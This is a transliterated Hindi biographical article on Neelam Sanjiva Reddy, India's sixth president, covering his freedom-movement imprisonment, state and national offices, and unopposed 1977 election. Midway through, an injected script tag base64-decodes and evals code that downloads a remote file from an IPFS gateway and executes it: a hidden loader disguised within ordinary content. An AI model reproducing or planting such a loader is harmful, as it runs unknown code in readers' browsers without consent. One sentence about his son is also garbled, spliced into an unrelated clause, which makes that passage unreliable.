नीलम संजीव रेड्डी
nilam sanjiv reddi
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| poora nam | nilam sanjiv reddi |
| janm | 19 mee 1913 |
| janm bhoomi | illur gram, anantapur zila, aandhr pradesh |
| mrityu | 1 joon 1996 |
| abhibhavak | nilam chinappa reddi (pita) |
| pati/patni | shrimati naga ratnamma |
| santan | ek putr aur tin putriyaan |
| nagarikata | bharatiy |
| parti | kaangres |
| pad | bharat ke chhathe rashtrapati |
| kary kal | 25 julaee, 1977 se 25 julaee 1982 |
| shiksha | snatak |
| vidyalay | 'arts k aaulej' anantapur |
| bhasha | tamil, telugu, aangrezi, hindi |
| jel yatra | 1940 se 1945 tak sitambar, 1940 mean chhah mah, 1 joon 1941 se 18 march 1942 tak velloor ki jel, bharat chho do aandolan 11 agast 1942 se 1945 amaravati tatha velloor |
| puraskar-upadhi | 1958 mean veankateshvar vishvavidyalay, trimoorti dvara d aauktaret ki upadhi pradan ki gee. |
| videshi yatraean | jarmani, astreliya, yoo. ke, phraans, hangari, polaind, kanada, peroo, nepal, yoogaanda, jambiya, kenya aur amerika ke nam ullekhaniy haian. |
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nilam sanjiv reddi (aangrezi: Neelam Sanjiva Reddy, janm:19 mee, 1913 - mrityu: 1 joon, 1996) bharat ke chhathe rashtrapati ke roop mean jane jate hai. nilam sanjiv reddi bharat ke aise rashtrapati the jinhean rashtrapati pad ke ummidavar hote hue pratham bar viphalata prapt huee aur doosari bar ummidavar banae jane par rashtrapati nirvachit hue. pratham bar inhean vi. vi. giri ke karan bahut kam aantar se har svikar karani p di thi. tab yah kaangres dvara rashtrapati pad ke ummidavar banae ge the aur apratyashit roop se har ge. doosari bar gair kaangresiyoan ne inhean pratyashi banaya aur yah vijayi hue. pradhanamantri iandira gaandhi ne jab vi. vi. giri ko rashtrapati chunav jitane mean saphalata pradan karaee, tab yah laga tha ki nilam sanjiv reddi ne ek aisa mauqa ganva diya hai, jo ab unaki zindagi mean kabhi nahian aega. lekin rajaniti ke panditoan ke anuman aur dave dhare rah ge. bhagy ki shubh karavat ne nilam sanjiv reddi jaise hare hue yoddha ko vijayi yoddha ke roop mean parivartit kar diya. yah bharatiy rajaniti ke aise adhyay banakar samane ae, jo anishchitata ka pratinidhitv karate nazar ate haian. sanjiv reddi bharat ke ekamatr aise rashtrapati the, jo nirvirodh nirvachit hue.
jivan parichay
nilam sanjiv reddi ka janm 19 mee, 1913 ko illur gram, anantapur zile mean hua tha, jo aandhr pradesh mean hai. aandhr pradesh ke krishak parivar mean janme nilam sanjiv reddi ki chhavi kavi, anubhavi rajaneta evan kushal prashasak ke roop mean thi. inaka parivar sanbhraant tatha bhagavan shiv ka param bhakt tha. inake pita ka nam nilam chinappa reddi tha jo kaangres parti ke kafi purane karyakarta aur prasiddh neta ti. prakasham ke sathi the.
shiksha
nilam sanjiv reddi ki prathamik shiksha 'thiyosophikal haee skool' a dayar, madras mean sampann huee. age ki shiksha arts k aaulej, anantapur mean prapt ki. mahatma gaandhi ke ahvan par jab lakhoan yuva padhaee aur naukari ka tyag kar svadhinata sangram mean ju d rahe the, tabhi nilam sanjiv reddi matr 18 varsh ki umr mean hi is aandolan mean kood p de the. inhoanne bhi padhaee chho d di thi. sanjiv reddi ne savinay avajna aandolan mean bhi bhag liya tha. yah us samay akarshan ka kendr bane, jab unhoanne vidyarthi jivan mean satyagrah kiya tha. vah yuva kaangres ke sadasy the. unhoanne kee rashtravadi karyakramoan mean hissedari bhi ki thi. is dauran inhean kee bar jel ki saza bhi katani p di.
vivah
nilam sanjiv reddi ka vivah 8 joon, 1935 ko naga ratnamma ke sath sampann hua tha. inake ek putr evan tin putriyaan haian. putr sudhir reddi anantapur mean sarjan ki haisiyat se apana svatantr klinik parti aauf indiya ke prabhavashali neta rahe haian aur azadi ki l daee mean yah bhi kee bar jel ge haian.
rajanitik jivan
bis varsh ki umr mean hi nilam sanjiv reddi kafi sakriy ho chuke the. rajy ki rajaniti mean bhi ek kushal prashasak ke taur par inaka prabhav anubhav kiya jane laga tha. yah 1936 mean aandhr pradesh kaangres samiti ke samany sachiv nirvachit hue aur is pad par 10 varsh se adhik samay gujara. yah is bat ko siddh karata hai ki vah pratibhavan the aur unamean netritv ke gun the. nilam sanjiv reddi sanyukt madras rajy mean avasiy van evan mady nishedh mantralay ke karyoan ka bhi sampadan karate the. tab kumarasvami raja mukhyamantri the. yah samay 1949 se 1951 tak ka tha. 1951 mean inhoanne mantri pad se tyagapatr de diya, taki aandhr pradesh kaangres samiti ke adhyaksh pad ke chunav mean bhag le sakean. is chunav mean nilam sanjiv reddi prophesar en.ji. ranga ko harakar adhyaksh nirvachit hue. isi varsh yah' akhil bharatiy kaangres kary samiti' aur 'kendriy sansadiy mandal' ke bhi nirvachit sadasy ban ge. is prakar inhean rashtriy star ki chhavi evan darja prapt ho gaya.
durghatana
nilam sanjiv reddi ke niji jivan mean ek dukhad ghatana ghati. inaka paanch varshiy putr motar durghatana mean kal-kavalit ho gaya. is ghatana se yah itana vyathit hue ki 'aandhr pradesh kaangres samiti' ki adhyakshata se tyagapatr de diya lekin inhean tyagapatr vapas lene ke lie mana liya gaya. 1952 mean inhean rajy sabha ke lie chuna gaya lekin 1953 mean inhoanne sadasyata tyag di. phir yah ti. prakasham ki kaibinet mean upamukhyamantri banae ge the. jabaki 1955 se poorv tak yah 'madras vidhanasabha' ke lie chune ge.
1956 mean jab rajyoan ke punargathan ka kary kiya gaya to nilam sanjiv reddi aandhr pradesh ke 'pratham mukhyamantri' bane. tab inaki umr 43 varsh thi aur yah bharat ke sabase yuva mukhyamantri the. inhean 3 disambar 1956 ko sarvasammati se 'akhil bharatiy kaangres' ka adhyaksh banaya gaya aur inhoanne aandhr pradesh ke mukhyamantri pad se tyagapatr de diya. lekin yah tab mukhyamantri karyalay mean bane rahe, jab tak ki ne mukhyamantri ke roop mean di. sanjivaiyya ne 11 janavari 1960 ko apana karyabhar nahian sanbhal liya. inhean kaangres ki adhyakshata shrimati iandira gaandhi se prapt huee thi, jinhean 2 pharavari 1959 ko yoo. en. devadhar ke tyagapatr dene par adhyaksh banaya gaya tha.
jel yatra
reddi 1940 se 1945 tak jel mean kaid rahe. yah pratham bar sitambar 1940 mean chhah mah ke lie jel ge. tab inhean velloor aur tiruchirapalli ki jeloan mean rakha gaya. doosari bar inhean 1 joon 1941 se 18 march 1942 tak velloor ki jel mean rashtravirodhi gatividhiyaan sanchalit karane ke arop mean kaid kiya gaya. bharat chho do aandolan ke dauran inhean 11 agast 1942 ko giraphtar karake amaravati tatha velloor ki jeloan mean kaid the. vah 1945 tak jel mean rahe. rihaee ke bad 1946 mean yah madras vidhayika mean nirvachit hue tatha 1947 mean madras vidhayika mean sekretari banae ge. 1947 mean yah bharat ki sanvidhan nirmatri sabha ke sadasy bhi rahe.
naitik moolya
reddi ne kaangres parti ke tin satroan ki adhyakshata ki. 10 march 1962 ko inhoanne kaangres ke adhyaksh pad se istipha de diya. yah 12 march 1962 ko pun: aandhr pradesh ke mukhyamantri bane, jab di. sanjivaiyya mukhyamantri pad se hata die ge. pharavari 1964 mean inhoanne svechchha se mukhyamantri ka pad tyag diya aur isaka adhar naitik moolyoan ko bataya. aandhr pradesh mean s dakoan ka rashtriyakaran kiya gaya tha. aur us par uchchatam nyayalay dvara vichar kiya ja raha tha. is karan reddi ne mukhyamantri bane rahana uchit nahian samajha. isake bad inake sahayogi rajyapal brahmanand reddi ne inhean ne mantrimandal ka nyota diya aur yah vidhanasabha mean kaangres ke neta chun lie ge.
khan mantralay
9 joon 1964 ko reddi rashtriy rajaniti mean ae aur pradhanamantri lalabahadur shastri ne inhean kendr mean stil evan khan mantralay pradan kiya. 1964 mean hi yah rajyasabha ke lie manotit hue aur 1967 tak isake sadasy bane rahe. janavari 1966 se march 1967 tak vah pradhanamantri shrimati iandira gaandhi ke mantrimandal mean rahe. inhoanne yatayat, jahajarani, nagarik uddayan evan toorijm ka kary kaibinet mantri ke roop mean dekha. 1967 ke lok sabha chunav mean reddi hindapur se nirvachit hue, jo aandhr pradesh ki hi sit thi. 17 march 1967 ko inhean lok sabha ka spikar banaya gaya. lekin 19 julaee 1969 ko inhoanne lokasabha ke spikar pad se tyagapatr de diya. yah kaangres parti ki or se rashtrapati chunav hetu adhikrit ummidavar banae ge the.
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rashtrapati nirvachit hone ke bad nilam sanjiv reddi ne ek majedar vaktavy patrakaroan ke samaksh diya,"spikar dekha to jata hai lekin suna nahian jata lekin rashtrapati n to dekha jata hai aur n hi suna jata hai." sanjiv reddi ne bharosa dilaya ki vah vaise hi rashtrapati hoange lekin aise rashtrapati bhi raheange jo nirnay bhi le. maian khamoshi ke sath hi kuchh naya chahooanga.
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> is aitihasik chunav ne kaangres ko do bhagoan mean vibhakt kar diya. ek, kaangres-o aur doosari, kaangres-ar ke roop mean samane aee. 1971 mean jab lok sabha ke chunav ahoot hue to nilam sanjiv reddi kaangres-o ke tikat par chunav maidan mean utare lekin inhean har ka samana karana p da. us samay iandira lahar ke sammukh kee b de diggaj apane paanvoan ki zamin ganva baithe the. is har se reddi ko gahara dhakka laga. vah anantapur laut ge aur apana adhikaansh samay krishi karyoan mean hi gujarane lage. ek lambe aantaral ki rajanitik khamoshi ke bad 1 mee 1975 ko nilam sanjiv reddi pun: sakriy rajaniti mean utare. unhoanne jayaprakash narayan ke sath haidarabad mean janasamooh ko sambodhit kiya. janavari 1977 mean yah janata parti ki kary samiti ke sadasy banae ge aur chhathavian lokasabha chunav mean janata parti ki or se aandhr pradesh ki nandyal sit se unhoanne apana namaankan patr bhara. jab chunav ke natije ae to vah aandhr pradesh se akele gair kaangresi ummidavar the, jo vijayi hue the.
rashtrapati pad par
26 march 1977 ko nilam sanjiv reddi ko sarvasammati se lokasabha ka spikar chun liya gaya. lekin 13 julaee 1977 ko unhoanne yah pad chho d diya kyoanki inhean rashtrapati pad hetu namaankit kiya ja raha tha. reddi ne yah pahale hi spasht kar diya tha ki yadi unhean sarvasammati se rashtrapati pad ka ummidavar banaya jata hai tabhi vah namaankan patr dakhil kareange. is bar yah koee bhi khatara lene ke mood mean nahian the. vah purana itihas doharae jane se bhayabhit the. aantat: sabhi ashankaean nirmool sabit hueean aur nilam sanjiv reddi sarvasammati se nirvirodh athavean rashtrapati chun lie ge. sabhi rajanitik daloan ne inhean aantaratma ki avaz par rashtrapati chuna tha. is prakar is daur mean ek anokhi rajanitik ghatana ghati. 19 julaee 1977 ko namaankan pantroan ki jaanch ka kary kiya gaya. reddi ke atirikt jitane bhi namaankan prapt hue unamean vyatikram tha. is adhar par sabhi ko kharij kar diya gaya. kul milakar 21 namaankan patr dakhil kie ge the, jinamean se kuchh ummidavar ko avashyak sankhya mean vidhayakoan evan saansadoan ka samarthan nahian tha athava ummidavaroan ne 2500 rupaye ki jamanat rashi jama nahian karaee thi. 21 julaee ko sayankal 3 baje tak nam vapas liya ja sakata tha. phir 3 bajakar 5 minat par chunav adhikari ne pres ko soochit kiya ki nilam sanjiv reddi nirvirodh chunav jit ge haian. is ghoshana ke pashchath reddi ne lokasabha ki sadasyata se tyagapatr de diya, jo niyamanusar avashyak tha. 21 julaee, 1977 ko madhyahn se poorv hi ke. es. heg de ko lokasabha adhyaksh bana diya gaya.
naya adhyay
rashtrapati chun lie jane ke bad nilam sanjiv reddi apane jivan ka naya adhyay aranbh karane ke lie apani patni shrimati naga ratnamma ke sath prat: rajaghat dilli sthit mahatma gaandhi ki samadhi par ge taki unhean shraddhaanjali arpit kar sakean. is samay reddi ne khadi ki bedag achakan aur gaandhi topi dharan kar rakhi thi. phir yah 9, akabar rod se rashtrapati bhavan ke lie ravana hue. yahaan se karyavahak rashtrapati (uparashtrapati) bi. di. jatti ko sath lekar sansad bhavan mean pahuanche taki vahaan pad evan gopaniyata ki shapath grahan kar sakean. sansad bhavan mean pradhanamantri moraraji desaee, lokasabha ke spikar ke. es. heg de, sarvochch nyayalay ke mukhy nyayadhish em.ech. beg tatha any vishisht atithi upasthit the. 25 julaee 1977 ko prat: kal 10 baje kendriy h aaul mean shapath grahan samaroh sampann hua. is prakar reddi chhathe nirvachit rashtrapati ban ge. subah 10 bajakar 11 minat par sarvochch nyayalay ke mukhy nyayadhish ne inhean pad evan gopaniyata ki shapath grahan karaee. shapath grahan ke samay nilam sanjiv reddi 64 varsh ki ayu poorn kar chuke the. 21 topoan ki salami ke sath reddi ne rashtrapati karyalay sanbhal liya. unhoanne hindi evan aangrezi bhasha mean shapath li. phir reddi ne 800 shabdoan mean sankshipt sambodhan diya.
uparashtrapati bi.di. jatti, jinake pas karyavahak rashtrapati pad ka bhi dayitv tha, ne rashtrapati pad ka uttaradayitv aupacharik roop se reddi ko sauanp diya. grih mamaloan ke mantralay ne is sanbandh mean bharatavarsh ke gajat mean adhisoochana prakashit ki jisaka kramaank es. o. 585 (ee) dinaank 25 julaee 1977 tha. nilam sanjiv reddi ne sena samaroh ke b de bhag ko kam kar diya. phir vah khuli kar mean baithakar sansad bhavan se rashtrapati bhavan ravana hue. rashtrapati bhavan mean aupacharikataean poorn hone ke bad rakshamantri jagajivan ram ne unaka parichay tinoan senaoan ke senadhyakshoan se karaya. is prakar nilam sanjiv reddi aise doosare rashtrapati bane, jo takaniki roop se kaangres parti ke rashtrapati nahian the. pahale rashtrapati vi. vi. giri the, kyoanki vah svatantr ummidavar ki haisiyat se kh de hue the, yadyapi unhean kaangres parti ke sadasyoan ka samarthan prapt tha. lekin nilam sanjiv reddi ke sarvasammati se rashtrapati banane ke bad sabhi gatirodh tham ge. un paristhitiyoan mean yah achchha hi tha, kyoanki sarakar mean kee partiyaan shamil thian aur shasan chalane ke lie rashtrapati ko sabhi ka sahayog apekshit tha.
rashtrapati nirvachan
rashtrapati nirvachit hone ke bad nilam sanjiv reddi ne ek majedar vaktavy patrakaroan ke samaksh diya,"spikar dekha to jata hai lekin suna nahian jata lekin rashtrapati n to dekha jata hai aur hi suna jata hai." reddi ne bharosa dilaya ki vah vaise hi rashtrapati hoange lekin aise rashtrapati bhi raheange jo nirnay bhi le. maian khamoshi ke sath hi kuchh naya chahooanga. nilam sanjiv reddi ka 50 varshiy rajanitik jivan bhi rashtrapati banane ke bad unake sath tha. is karan vah kafi anubhavi aur yogy rashtrapati siddh hone vale the. inhean janata parti sarakar ke gathan ke bad 1977 mean nirvirodh chuna gaya, jis samay kaangres parti ka kendr mean lagabhag koee vajood hi nahian rah gaya tha. inhoanne svasth aitihasik paramparaoan ka nirvahan kiya tatha kaangres parti se barabar samanvay aur sahayog banae rakha, jab 1980 mean kaangres pun: satta mean aee. reddi ne is dauran rashtrapati pad ki maryada ka nirvah usi roop mean kiya, jis roop ke pradarshan hetu hamare diggaj netaoan ne rashtrapati ke sanvaidhanik pad ki vyavastha ki thi.
apane rashtrapati kal mean reddi ne do pradhanamantri padasin kie aur tin pradhanamantriyoan ke sath kary-vyavahar rakha. yah pradhanamantri moraraji desaee, chaudhari charan sianh tatha shrimati iandira gaandhi the. is prakar reddi ne apana karyakal poori garima ke sath poorn kiya, phir yah aandhr pradesh ke apane adarsh grih nagar anantapur laut ge. rashtrapati karyakal ki zimmedari se mukt hone se kuchh dinoan pahale inhoanne pres varta ka ayojan kiya tha.
pres varta mean reddi ne svikar kiya ki jab janata parti aantarkalah ke karan bikhar gee to vah kafi akela mahasoos kar rahe the. janata parti ka bikharav hona, moraraji desaee dvara tyagapatr diya jana tatha chaudhari charan sianh ka pradhanamantri banana evan alpamat mean a jana adi ghatanaean kafi dukhad haian. in ghatanaoan ke pariprekshy mean reddi ne spasht kiya ki unake samane apat sthiti thi aur unhean rashtrapati ki sanvaidhanik maryada ke anusar hi pratyek mauke par nirnay lene the. tab inhoanne apani vivek shakti ka prayog karate hue kafi kathin nirnay bhi kie. yadi itihas aj in nirnayoan ki samiksha karata hai to unhean uchit hi thaharaega.
videshi yatraean
nilam sanjiv reddi ne kee deshoan ki yatraean ki, jinamean pashchim jarmani, astreliya, yoo. ke., phraans hangari, polaind, kanada, peroo, nepal, yoogaanda, jambiya, kenya aur amerika ke nam ullekhaniy haian.
upadhi
nilam sanjiv reddi ko 1958 mean sammanarth d aauktaret ki upadhi veankateshvar vishvavidyalay, trimoorti dvara pradan ki gee.
nidhan
25 julaee, 1982 ko apana karyakal poora karane ke pashchath nilam sanjiv reddi rashtrapati pad ke dayitv se mukt ho ge. phir lagabhag 14 varsh bad 1 joon 1996 ko inaka nidhan ho gaya. yadi ham reddi ke jivan vrittaant par drishti dale to yah svikar karana hoga ki unhoanne rajaniti mean rahate hue bhi usaki garima ka sadaiv palan kiya. is prakar nilam sanjiv reddi ka jivan hamean kee rangoan mean ranga nazar ata hai. lekin inaki rashtravadi soch aur rajanitijn ke roop mean inaka anushasan bhav nishchay hi pranshasaniy raha hai. ek rashtrapati ke roop mean bhi unhoanne sanvaidhanik maryadaoan ka saphalatapoorvak nirvahan kiya tha. yah bharat mata ke aise sapoot rahe haian, jin par pratyek bharatiy ko garv hai.
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tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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